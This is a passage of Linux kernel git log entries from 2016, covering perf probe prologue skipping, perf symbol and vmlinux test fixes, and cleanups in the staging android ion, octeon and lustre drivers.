foo(): /home/ravi/test.c:4 400536: 55 push %rbp 400537: 48 89 e5 mov %rsp,%rbp 40053a: 48 83 ec 10 sub -bashx10,%rsp 40053e: 89 7d fc mov %edi,-0x4(%rbp) /home/ravi/test.c:5 400541: 8b 45 fc mov -0x4(%rbp),%eax ... ... main(): /home/ravi/test.c:9 400558: 55 push %rbp 400559: 48 89 e5 mov %rsp,%rbp /home/ravi/test.c:10 40055c: bf 2a 00 00 00 mov -bashx2a,%edi 400561: e8 d0 ff ff ff callq 400536 $ perf probe -x ./test 'foo i' $ cat /sys/kernel/debug/tracing/uprobe_events p:probe_test/foo /home/ravi/test:0x0000000000000536 i=-12(%sp):s32 $ perf record -e probe_test:foo ./test $ perf script test 5778 [001] 4918.562027: probe_test:foo: (400536) i=0 Here variable 'i' is passed via stack which is pushed on stack at 0x40053e. But we are probing at 0x400536. To resolve this issues, we need to probe on next instruction after prologue. gdb and systemtap also does same thing. I've implemented this patch based on approach systemtap has used. After applying patch: $ perf probe -x ./test 'foo i' $ cat /sys/kernel/debug/tracing/uprobe_events p:probe_test/foo /home/ravi/test:0x0000000000000541 i=-4(%bp):s32 $ perf record -e probe_test:foo ./test $ perf script test 6300 [001] 5877.879327: probe_test:foo: (400541) i=42 No need to skip prologue for optimized case since debug info is correct for each instructions for -O2 -g. For more details please visit: https://bugzilla.redhat.com/show_bug.cgi?id=612253#c6 Changes in v2: - Skipping prologue only when any ARG is either C variable, $params or $vars. - Probe on line(:1) may not be always possible. Recommend only address to force probe on function entry. Committer notes: Testing it with 'perf trace': # perf probe -x ./test foo i Added new event: probe_test:foo (on foo in /home/acme/c/test with i) You can now use it in all perf tools, such as: perf record -e probe_test:foo -aR sleep 1 # cat /sys/kernel/debug/tracing/uprobe_events p:probe_test/foo /home/acme/c/test:0x0000000000000526 i=-12(%sp):s32 # trace --no-sys --event probe_*:* ./test i: 42 0.000 probe_test:foo:(400526) i=0) # After the patch: # perf probe -d *:* Removed event: probe_test:foo # perf probe -x ./test foo i Target program is compiled without optimization. Skipping prologue. Probe on address 0x400526 to force probing at the function entry. Added new event: probe_test:foo (on foo in /home/acme/c/test with i) You can now use it in all perf tools, such as: perf record -e probe_test:foo -aR sleep 1 # cat /sys/kernel/debug/tracing/uprobe_events p:probe_test/foo /home/acme/c/test:0x0000000000000531 i=-4(%bp):s32 # trace --no-sys --event probe_*:* ./test i: 42 0.000 probe_test:foo:(400531) i=42) # Reported-by: Michael Petlan Report-Link: https://www.mail-archive.com/linux-perf-users@vger.kernel.org/msg02348.html Signed-off-by: Ravi Bangoria Tested-by: Arnaldo Carvalho de Melo Tested-by: Jiri Olsa Acked-by: Masami Hiramatsu Acked-by: Naveen N. Rao Cc: Alexander Shishkin Cc: Hemant Kumar Cc: Peter Zijlstra Cc: Wang Nan Cc: Yauheni Kaliuta Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1299021 Link: http://lkml.kernel.org/r/1470214725-5023-2-git-send-email-ravi.bangoria@linux.vnet.ibm.com [ Rename 'die' to 'cu_die' to avoid shadowing a die() definition on at least centos 5, Debian 7 and ubuntu:12.04.5] [ Use PRIx64 instead of lx to format a Dwarf_Addr, aka long long unsigned int, fixing the build on 32-bit systems ] [ dwarf_getsrclines() expects a size_t * argument ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/probe-finder.c | 165 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 165 insertions(+) commit b3f33f930606a55b547ac4ef5a32df2c23a44ec1 Author: Ravi Bangoria Date: Wed Aug 3 14:28:44 2016 +0530 perf probe: Add helper function to check if probe with variable Introduce helper function instead of inline code and replace hardcoded strings "$vars" and "$params" with their corresponding macros. perf_probe_with_var() is not declared as static since it will be called from different file in subsequent patch. Signed-off-by: Ravi Bangoria Acked-by: Masami Hiramatsu Cc: Alexander Shishkin Cc: Hemant Kumar Cc: Naveen N. Rao Cc: Peter Zijlstra Cc: Wang Nan Link: http://lkml.kernel.org/r/1470214725-5023-1-git-send-email-ravi.bangoria@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/probe-event.c | 22 +++++++++++++++------- tools/perf/util/probe-event.h | 2 ++ 2 files changed, 17 insertions(+), 7 deletions(-) commit 432746f8e0b6a82ba832b771afe31abd51af6752 Author: Arnaldo Carvalho de Melo Date: Thu Sep 1 11:00:23 2016 -0300 perf symbols: Fixup symbol sizes before picking best ones When we call symbol__fixup_duplicate() we use algorithms to pick the "best" symbols for cases where there are various functions/aliases to an address, and those check zero size symbols, which, before calling symbol__fixup_end() are _all_ symbols in a just parsed kallsyms file. So first fixup the end, then fixup the duplicates. Found while trying to figure out why 'perf test vmlinux' failed, see the output of 'perf test -v vmlinux' to see cases where the symbols picked as best for vmlinux don't match the ones picked for kallsyms. Cc: Anton Blanchard Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Wang Nan Fixes: 694bf407b061 ("perf symbols: Add some heuristics for choosing the best duplicate symbol") Link: http://lkml.kernel.org/n/tip-rxqvdgr0mqjdxee0kf8i2ufn@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/symbol-elf.c | 2 +- tools/perf/util/symbol.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit c97b40e4d15f13a36cd037d598e45cbe9e1e5757 Author: Arnaldo Carvalho de Melo Date: Thu Sep 1 10:56:06 2016 -0300 perf symbols: Check symbol_conf.allow_aliases for kallsyms loading too We can allow aliases to be kept, but we were checking this just when loading vmlinux files, be consistent, do it for any symbol table loading code that calls symbol__fixup_duplicate() by making this function check .allow_aliases instead. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Wang Nan Fixes: 680d926a8cb0 ("perf symbols: Allow symbol alias when loading map for symbol name") Link: http://lkml.kernel.org/n/tip-z0avp0s6cfjckc4xj3pdfjdz@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/symbol-elf.c | 3 +-- tools/perf/util/symbol.c | 3 +++ 2 files changed, 4 insertions(+), 2 deletions(-) commit 7e1b659545b37ed629ee43d4daf72a02dc06e195 Author: Arnaldo Carvalho de Melo Date: Thu Sep 1 10:40:57 2016 -0300 perf test vmlinux: Tolerate symbol aliases The algorithms used to prune aliases in symbols__fixup_duplicate() uses information available on ELF symtabs that are not present on /proc/kallsyms, so it picks different aliases as "best" for vmlinux and kallsyms. We could probably improve a bit this by having a list of aliases for the "best" symbols picked, instead of throwing this info, but that is left for when we find a real need. With this, 'perf test vmlinux' passes: # perf test -F 1 1: vmlinux symtab matches kallsyms: Ok # When we ask for verbose mode, we can see those warning: # perf test -F -v 1 1: vmlinux symtab matches kallsyms: --- start --- Looking at the vmlinux_path (8 entries long) Using /lib/modules/4.8.0-rc4+/build/vmlinux for symbols WARN: 0xffffffffb7001000: diff name v: xen_hypercall_set_trap_table k: hypercall_page WARN: 0xffffffffb7077970: diff end addr for aesni_gcm_dec v: 0xffffffffb707a2f2 k: 0xffffffffb7077a02 WARN: 0xffffffffb707a300: diff end addr for aesni_gcm_enc v: 0xffffffffb707cc03 k: 0xffffffffb707a392 WARN: 0xffffffffb707f950: diff end addr for aesni_gcm_enc_avx_gen2 v: 0xffffffffb7084ef6 k: 0xffffffffb707f9c3 WARN: 0xffffffffb7084f00: diff end addr for aesni_gcm_dec_avx_gen2 v: 0xffffffffb708a691 k: 0xffffffffb7084f73 WARN: 0xffffffffb708aa10: diff end addr for aesni_gcm_enc_avx_gen4 v: 0xffffffffb708f844 k: 0xffffffffb708aa83 WARN: 0xffffffffb708f850: diff end addr for aesni_gcm_dec_avx_gen4 v: 0xffffffffb709486f k: 0xffffffffb708f8c3 WARN: 0xffffffffb71a6e50: diff name v: perf_pmu_commit_txn.part.98 k: perf_pmu_cancel_txn.part.97 WARN: 0xffffffffb752e480: diff name v: wakeup_expire_count_show.part.5 k: wakeup_active_count_show.part.7 WARN: 0xffffffffb76e8d00: diff name v: phys_switch_id_show.part.11 k: phys_port_name_show.part.12 WARN: Maps only in vmlinux: ffffffffb7d7d000-ffffffffb7eeaac8 117d000 [kernel].init.text ffffffffb7eeaac8-ffffffffc03ad000 12eaac8 [kernel].exit.text ---- end ---- vmlinux symtab matches kallsyms: Ok # Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-6v5w1k8rpx4ggczlkw730vt0@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/tests/vmlinux-kallsyms.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 54da07695a0c11b342815be0d8f1796c88765bde Author: Arnaldo Carvalho de Melo Date: Thu Sep 1 10:40:57 2016 -0300 perf test vmlinux: Avoid printing headers for empty lists Before: # perf test -F -v 1 1: vmlinux symtab matches kallsyms: --- start --- WARN: Maps only in vmlinux: ffffffffb7d7d000-ffffffffb7eeaac8 117d000 [kernel].init.text ffffffffb7eeaac8-ffffffffc03ad000 12eaac8 [kernel].exit.text WARN: Maps in vmlinux with a different name in kallsyms: WARN: Maps only in kallsyms: ---- end ---- vmlinux symtab matches kallsyms: Ok # The two last WARN lines are now suppressed, since there are no such cases detected. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-9ww8uvzl682ykaw8ht1tozlr@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/tests/vmlinux-kallsyms.c | 29 ++++++++++++++++++++++------- 1 file changed, 22 insertions(+), 7 deletions(-) commit e267769ed4d22144d317d934cbce382cc7a8cca0 Author: Arnaldo Carvalho de Melo Date: Thu Sep 1 10:26:49 2016 -0300 perf test vmlinux: Clarify which -v lines are errors or warning When the 'perf test -v vmlinux' test fails, it is not clear which of the lines are errors or warnings, clarify that adding ERR/WARN prefixes: # perf test -F -v 1 1: vmlinux symtab matches kallsyms : --- start --- Looking at the vmlinux_path (8 entries long) Using /lib/modules/4.8.0-rc4+/build/vmlinux for symbols ERR : 0xffffffffb7001000: diff name v: xen_hypercall_set_trap_table k: hypercall_page WARN: 0xffffffffb7077970: diff end addr for aesni_gcm_dec v: 0xffffffffb707a2f2 k: 0xffffffffb7077a02 WARN: 0xffffffffb707a300: diff end addr for aesni_gcm_enc v: 0xffffffffb707cc03 k: 0xffffffffb707a392 WARN: 0xffffffffb707f950: diff end addr for aesni_gcm_enc_avx_gen2 v: 0xffffffffb7084ef6 k: 0xffffffffb707f9c3 WARN: 0xffffffffb7084f00: diff end addr for aesni_gcm_dec_avx_gen2 v: 0xffffffffb708a691 k: 0xffffffffb7084f73 WARN: 0xffffffffb708aa10: diff end addr for aesni_gcm_enc_avx_gen4 v: 0xffffffffb708f844 k: 0xffffffffb708aa83 WARN: 0xffffffffb708f850: diff end addr for aesni_gcm_dec_avx_gen4 v: 0xffffffffb709486f k: 0xffffffffb708f8c3 ERR : 0xffffffffb71a6e50: diff name v: perf_pmu_commit_txn.part.98 k: perf_pmu_cancel_txn.part.97 ERR : 0xffffffffb752e480: diff name v: wakeup_expire_count_show.part.5 k: wakeup_active_count_show.part.7 ERR : 0xffffffffb76e8d00: diff name v: phys_switch_id_show.part.11 k: phys_port_name_show.part.12 WARN: Maps only in vmlinux: ffffffffb7d7d000-ffffffffb7eeaac8 117d000 [kernel].init.text ffffffffb7eeaac8-ffffffffc03ad000 12eaac8 [kernel].exit.text WARN: Maps in vmlinux with a different name in kallsyms: WARN: Maps only in kallsyms: ---- end ---- vmlinux symtab matches kallsyms: FAILED! # Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-n5ml8m7y9x8kzvxt09ipku88@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/tests/vmlinux-kallsyms.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit e50243bbeb528e92e31e03e560b557737c9def3c Author: Masami Hiramatsu Date: Fri Aug 26 23:57:58 2016 +0900 perf probe: Ignore vmlinux Build-id when offline vmlinux given Ignore vmlinux build-id when user gives offline vmlinux if the command does not affect running kernel. perf-probe has several actions some of them does not change the running kernel, like --lines, --vars, and --funcs. e.g. ----- $ ./perf probe -k ./vmlinux-arm -V do_sys_open:14 Available variables at do_sys_open:14 @ char* filename int dfd int fd int flags struct filename* tmp struct open_flags op umode_t mode ----- Signed-off-by: Masami Hiramatsu Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/147222347320.5088.2582658035296667520.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-probe.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 293d5b43948309434568f4dcbb36cce4c3c51bd5 Author: Masami Hiramatsu Date: Fri Aug 26 01:24:57 2016 +0900 perf probe: Support probing on offline cross-arch binary Support probing on offline cross-architecture binary by adding getting the target machine arch from ELF and choose correct register string for the machine. Here is an example: ----- $ perf probe --vmlinux=./vmlinux-arm --definition 'do_sys_open $params' p:probe/do_sys_open do_sys_open+0 dfd=%r5:s32 filename=%r1:u32 flags=%r6:s32 mode=%r3:u16 ----- Here, we can get probe/do_sys_open from above and append it to to the target machine's tracing/kprobe_events file in the tracefs mountput, usually /sys/kernel/debug/tracing/kprobe_events (or /sys/kernel/tracing/kprobe_events). Signed-off-by: Masami Hiramatsu Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/147214229717.23638.6440579792548044658.stgit@devbox [ Add definition for EM_AARCH64 to fix the build on at least centos 6, debian 7 & ubuntu 12.04.5 ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/arch/arm/include/dwarf-regs-table.h | 9 ++++ tools/perf/arch/arm64/include/dwarf-regs-table.h | 13 +++++ tools/perf/arch/powerpc/include/dwarf-regs-table.h | 27 ++++++++++ tools/perf/arch/s390/include/dwarf-regs-table.h | 8 +++ tools/perf/arch/sh/include/dwarf-regs-table.h | 25 +++++++++ tools/perf/arch/sparc/include/dwarf-regs-table.h | 18 +++++++ tools/perf/arch/x86/include/dwarf-regs-table.h | 14 +++++ tools/perf/arch/xtensa/include/dwarf-regs-table.h | 8 +++ tools/perf/util/Build | 1 + tools/perf/util/dwarf-regs.c | 59 ++++++++++++++++++++++ tools/perf/util/include/dwarf-regs.h | 6 +++ tools/perf/util/probe-finder.c | 27 ++++++---- tools/perf/util/probe-finder.h | 1 + 13 files changed, 205 insertions(+), 11 deletions(-) commit b2bcdadcf926c6048553530b00826018c2f39481 Author: Didik Setiawan Date: Wed Aug 24 16:08:01 2016 +0700 staging: android: ion: ion.c fix parenthesis alignment Fix checkpatch.pl warning about "Alignment should match open parenthesis". Signed-off-by: Didik Setiawan Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 9924e5de313eb3348a6896b67ea930e92a408936 Author: Anson Jacob Date: Thu Aug 25 11:10:25 2016 -0400 staging: android: lowmemorykiller.c: Fix checkpatch warning Fix checkpatch.pl 'line over 80 characters' warning Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/android/lowmemorykiller.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 95eab3910da8590842869a58495d4b145cbb8321 Author: Johanna Abrahamsson Date: Wed Aug 24 00:42:39 2016 +0200 staging: android: ion: Remove unnused function ion_handle_buffer Remove the function ion_handle_buffer since it is not used anywhere. Signed-off-by: Johanna Abrahamsson Acked-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 5 ----- drivers/staging/android/ion/ion_priv.h | 2 -- 2 files changed, 7 deletions(-) commit 450524614bd2fc05239dd6186eb6d0deec483c24 Author: Johanna Abrahamsson Date: Wed Aug 24 00:41:54 2016 +0200 staging: android: ion: Remove ret variable in ion_handle_put_nolock It is not necessary to save the return value of kref_put since it is directly returned. Signed-off-by: Johanna Abrahamsson Acked-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 679011bd69efd7d9a3d4984fadbe0bc544773455 Author: Ben LeMasurier Date: Mon Aug 22 07:45:53 2016 -0600 Staging: android: ion: fix parenthesis alignment This fixes remaining checkpatch.pl "Alignment should match open parenthesis" issues. Signed-off-by: Ben LeMasurier Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_chunk_heap.c | 12 ++++++------ drivers/staging/android/ion/ion_cma_heap.c | 2 +- drivers/staging/android/ion/ion_dummy_driver.c | 10 +++++----- drivers/staging/android/ion/ion_page_pool.c | 2 +- drivers/staging/android/ion/ion_system_heap.c | 10 +++++----- 5 files changed, 18 insertions(+), 18 deletions(-) commit 121ca0c64f69d552a9aa27d2bce49f835030ec8b Author: Johanna Abrahamsson Date: Mon Aug 22 12:16:58 2016 +0200 staging: android: ion: Fix alignment Alignment should match open parenthesis as per checkpatch.pl. Signed-off-by: Johanna Abrahamsson Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 42 +++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 21 deletions(-) commit ef2d4f6c1b8b23639b6f4996a714d642f39facfc Author: Aaro Koskinen Date: Tue Aug 30 21:28:11 2016 +0300 staging: octeon: configure rx-delay/tx-delay Configure rx-delay/tx-delay when available. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet.c | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) commit c2bbedf01fe7a9901828911c7a2d8c27f48a5f16 Author: Johanna Abrahamsson Date: Wed Aug 24 00:02:45 2016 +0200 staging: android: ion: Remove valid_handle variable in ion_free_nolock It is not neccessary to save the value of ion_handle_validate since it is only used once. Signed-off-by: Johanna Abrahamsson Acked-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 0210737c85860756efa7d936156e8a94412f5d5c Author: Johanna Abrahamsson Date: Wed Aug 24 00:02:27 2016 +0200 staging: android: ion: Do not BUG on handle client mismatch The ion_free_nolock() function should not BUG on a handle client mismatch. Signed-off-by: Johanna Abrahamsson Acked-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 2 -- 1 file changed, 2 deletions(-) commit 2218b8fc90a9f6c57de3b1bde6c6c6c30eee07c6 Author: Colin Ian King Date: Sun Aug 28 12:28:41 2016 +0100 staging: wilc1000: fix spelling mistake: "retyring" -> "retrying" trivial fix to spelling mistake in dev_err message Signed-off-by: Colin Ian King Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/wilc_spi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 608bc9562a4633eb9b0068246384858ea3862618 Author: Julia Lawall Date: Thu Sep 1 00:21:20 2016 +0200 staging: netlogic: constify ethtool_ops structures Check for ethtool_ops structures that are only stored in the ethtool_ops field of a net_device structure or passed as the second argument to netdev_set_default_ethtool_ops. These contexts are declared const, so ethtool_ops structures that have these properties can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct ethtool_ops i@p = { ... }; @ok1@ identifier r.i; struct net_device e; position p; @@ e.ethtool_ops = &i@p; @ok2@ identifier r.i; expression e; position p; @@ netdev_set_default_ethtool_ops(e, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct ethtool_ops i = { ... }; // Suggested-by: Stephen Hemminger Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/netlogic/xlr_net.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 44fae22b36e218ed30d3f4debba9b0c1d3d6fdf1 Author: Oleg Drokin Date: Thu Aug 25 13:50:59 2016 -0400 staging/lustre: Fix max_dirty_mb output in sysfs %ul definitely was supposed to be %lu in the format string, so we print long unsigned int value, not just unsigned int with a letter l added at the end. Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/linux/linux-sysctl.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit d6e7a2fe932643bc44f7463881969b14e8f4db38 Author: Julia Lawall Date: Sun Aug 28 23:16:07 2016 +0200 staging: lustre: constify lmv_proc_target_fops structure lmv_proc_target_fops, of type struct file_operations, is never modified, so declare it as const. Done with the help of Coccinelle. Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_internal.h | 2 +- drivers/staging/lustre/lustre/lmv/lproc_lmv.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit faac7a8dca7634591fd8e694d0746fae32cdf98d Author: Julia Lawall Date: Sun Aug 28 23:27:06 2016 +0200 staging/lustre: constify sops structure sops, of type struct seq_operations, is never modified, so declare it as const. Done with the help of Coccinelle. Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/lproc_ptlrpc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a1cd3dd535cbc1ff84935b73cee1a053bf19a210 Author: Julia Lawall Date: Sun Aug 28 23:38:27 2016 +0200 staging: lustre: constify lprocfs_generic_fops structure lprocfs_generic_fops, of type struct file_operations, is never modified, so declare it as const. Done with the help of Coccinelle. Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/lprocfs_status.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 495ea0d99355e550a120b706515d6be55d198ac2 Author: Julia Lawall Date: Sun Aug 28 23:45:11 2016 +0200 staging: lustre: obdclass: constify obd_psdev_fops structure obd_psdev_fops, of type struct file_operations, is never modified, so declare it as const. Done with the help of Coccinelle. Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/linux/linux-module.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d6a80699bad7abb5c05860e3f021a34357a3b4c5 Author: Arnd Bergmann Date: Mon Aug 29 14:20:01 2016 +0200 staging: lustre: hide unused variable After a code cleanup, we get a harmless warning about a variable that is unused when CONFIG_FS_POSIX_ACL is disabled: drivers/staging/lustre/lustre/llite/xattr.c: In function 'll_xattr_get_common': drivers/staging/lustre/lustre/llite/xattr.c:312:24: error: unused variable 'lli' [-Werror=unused-variable] This puts the variable declaration into the same #ifdef. Signed-off-by: Arnd Bergmann Fixes: 1e1f9ff406fd ("staging: lustre: llite: break ll_getxattr_common into 2 functions") Reviewed-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/xattr.c | 2 ++ 1 file changed, 2 insertions(+) commit 7894c263f200aea33b0be3f8408adc93e3129f0f Author: Arnd Bergmann Date: Mon Aug 29 14:20:00 2016 +0200 staging: lustre: fix unstable pages tracking A patch to change to page accounting code (in v4.8-rc1) conflicts with a change to lustre (in staging-next for v4.9), and fortunately gets detected using a gcc warning: In file included from /git/arm-soc/include/linux/mm.h:1001:0, from /git/arm-soc/include/linux/highmem.h:7, from /git/arm-soc/drivers/staging/lustre/lustre/osc/../../include/linux/libcfs/linux/libcfs.h:46, from /git/arm-soc/drivers/staging/lustre/lustre/osc/../../include/linux/libcfs/libcfs.h:36, from /git/arm-soc/drivers/staging/lustre/lustre/osc/osc_cl_internal.h:45, from /git/arm-soc/drivers/staging/lustre/lustre/osc/osc_page.c:40: drivers/staging/lustre/lustre/osc/osc_page.c: In function 'unstable_page_accounting': include/linux/vmstat.h:117:2: error: array subscript is above array bounds [-Werror=array-bounds] atomic_long_add(x, &vm_zone_stat[item]); ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ include/linux/vmstat.h:117:2: error: array subscript is above array bounds [-Werror=array-bounds] atomic_long_add(x, &vm_zone_stat[item]); ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This changes the function to use the correct interface for accounting in the "node" rather than the "zone". Signed-off-by: Arnd Bergmann Fixes: d806f30e639b ("staging: lustre: osc: revise unstable pages accounting") Fixes: 11fb998986a7 ("mm: move most file-based accounting to the node") Reviewed-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/osc/osc_page.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit bbc2d82f1cc931f4287c716000ded8c4613249f2 Author: James Simmons Date: Wed Aug 24 11:11:58 2016 -0400 staging/lustre/o2iblnd: handle mixed page size configurations. Currently it is not possible to send LNet traffic between two nodes using infiniband hardware that have different page sizes for the case when RDMA fragments are used. When two nodes establish a connection they tell the other node the maximum number of RDMA fragments they support. The issue is that the units are pages, and 256 64K pages corresponds to 16MB of data, whereas a 4K page system is limited to messages with 1MB of data. The solution is to report over the wire the maximum number of fragments in 4K unites regardless of the native page size. The recipient then uses its native page size to translate into the maximum number of pages sized fragments it can send to the other node. Signed-off-by: James Simmons Reviewed-on: http://review.whamcloud.com/21304 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-7650 Reviewed-by: Doug Oucharek Reviewed-by: Olaf Weber Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd.c | 14 +++--- .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd.h | 13 ++--- .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd_cb.c | 55 ++++++++++------------ 3 files changed, 41 insertions(+), 41 deletions(-) commit 7f93fce9660158ea0b690af225dcc22b31a845ac Author: John L. Hammond Date: Wed Aug 24 11:11:57 2016 -0400 staging/lustre: release MGC device if connect fails In lustre_fill_super() if lustre_start_mgc() fails then call lustre_common_put_super() to release a reference on the MGC device attached to the LSI. Signed-off-by: John L. Hammond Reviewed-on: http://review.whamcloud.com/20851 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-8297 Reviewed-by: Andreas Dilger Reviewed-by: Mike Pershin Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/obd_mount.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f736814418084d43e6098bcb49937dbb757e9ec1 Author: Lokesh Nagappa Jaliminche Date: Wed Aug 24 11:11:56 2016 -0400 staging/lustre/llite: changes to avoid cache corruption ll_find_alias is responsible for getting alias for inode which can be reused. Directories are assumed to have unique alias, where in case of non-directories there can be multiple aliases. In case of lustre there can be two type of aliases i.e. discon_alias and invalid_alias. Usage of discon_alias in case of non-directories may corrupt dcache and leads to kernel crash. Changes made to avoid use of discon_alias in case of non-directories. Seagate-bug-id: MRP-2739, MRP-3601 Signed-off-by: Lokesh Nagappa Jaliminche Reviewed-by: Ujjwal Lanjewar Reviewed-by: Ashish Purkar Reviewed-by: Andrew Perepechko Tested-by: Parinay Vijayprakash Kondekar Reviewed-on: http://review.whamcloud.com/17732 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-7613 Reviewed-by: Niu Yawei Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/namei.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8d897d2540ff7f97941f1f3cb065ce4a9d808774 Author: Dmitry Eremin Date: Wed Aug 24 11:11:55 2016 -0400 staging/lustre/llite: Fix suspicious dereference of pointer 'vma->vm_file' Remove useless LASSERT(vma->vm_file) because of if it's NULL it will crash early in file_inode(vma->vm_file). Signed-off-by: Dmitry Eremin Reviewed-on: http://review.whamcloud.com/21171 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-8372 Reviewed-by: John L. Hammond Reviewed-by: Bob Glossman Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/llite_mmap.c | 2 -- 1 file changed, 2 deletions(-) commit 76cc3abe44744f6e694ce09a73781114e0ecf475 Author: Yang Sheng Date: Wed Aug 24 11:11:54 2016 -0400 staging/lustre/llite: check return value for obd_set_info_async The return value is ignored in client_common_fill_super. Restore to check it and error out. Signed-off-by: Yang Sheng Reviewed-on: http://review.whamcloud.com/21125 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-8360 Reviewed-by: Emoly Liu Reviewed-by: Bob Glossman Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/llite_lib.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 3da76276127dc6cd78ba98f1cefe9e95faf17863 Author: Andrew Perepechko Date: Wed Aug 24 11:11:53 2016 -0400 staging/lustre: avoid clearing i_nlink for inodes in use The patch removes find_cbdata callbacks and clear_nlink from dentry_iput path, since this piece of code makes a few races possible. The test case reproduces one of the possible races described in LU-7925: 1) two hard links are created for the same file 2) the test calls stat(2) for link #1 3) in the middle of 2) the test opens and closes link #2 4) in the middle of 2) the test drops the ldlm locks and forces dentry reclaim via vm.drop_caches=2 5) in the middle of 2) ll_d_iput() clears i_nlink for the inode 6) the initial stat(2) continues and copies the wrong i_nlink value into st_nlink Signed-off-by: Andrew Perepechko Seagate-bug-id: MRP-3271 Reviewed-on: http://review.whamcloud.com/19164 Intel-bug-id: 